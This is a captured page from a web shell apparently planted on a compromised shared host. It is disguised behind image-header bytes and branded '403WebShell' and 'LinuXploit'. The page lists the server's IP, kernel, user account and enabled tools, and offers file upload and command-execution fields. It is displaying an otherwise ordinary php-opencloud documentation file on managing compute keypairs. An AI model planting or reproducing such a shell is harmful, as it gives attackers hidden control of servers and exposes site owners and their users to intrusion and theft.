����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.129.216.70
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/vendor/rackspace/php-opencloud/doc/services/compute/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/vendor/rackspace/php-opencloud/doc/services/compute/keypairs.rst
Keypairs
========

Generate a new keypair
----------------------

This operation creates a new keypair under a provided name; the public key
value is automatically generated for you.

.. code-block:: php

  // Instantiate empty object
  $keypair = $service->keypair();

  // Send to API
  $keypair->create(array(
     'name' => 'jamie_keypair_1'
  ));

  // Save these!
  $pubKey = $keypair->getPublicKey();
  $priKey = $keypair->getPrivateKey();

`Get the executable PHP script for this example <https://raw.githubusercontent.com/rackspace/php-opencloud/master/samples/Compute/create_new_keypair.php>`_


Upload existing keypair
-----------------------

This operation creates a new keypair according to a provided name and public
key value. This is useful when the public key already exists on your local
filesystem.

.. code-block:: php

  $keypair = $service->keypair();

  // $key needs to be the string content of the key file, not the filename
  $content = file_get_contents('~/.ssh/id_rsa.pub');

  $keypair->create(array(
     'name'      => 'main_key',
     'publicKey' => $content
  ));

`Get the executable PHP script for this example <https://raw.githubusercontent.com/rackspace/php-opencloud/master/samples/Compute/upload_existing_keypair.php>`_


List keypairs
-------------

To list all existing keypairs:

.. code-block:: php

  $keys = $service->listKeypairs();

  foreach ($keys as $key) {

  }


Delete keypairs
---------------

To delete a specific keypair:

.. code-block:: php

  $keypair->delete();

Youez - 2016 - github.com/yon3zu
LinuXploit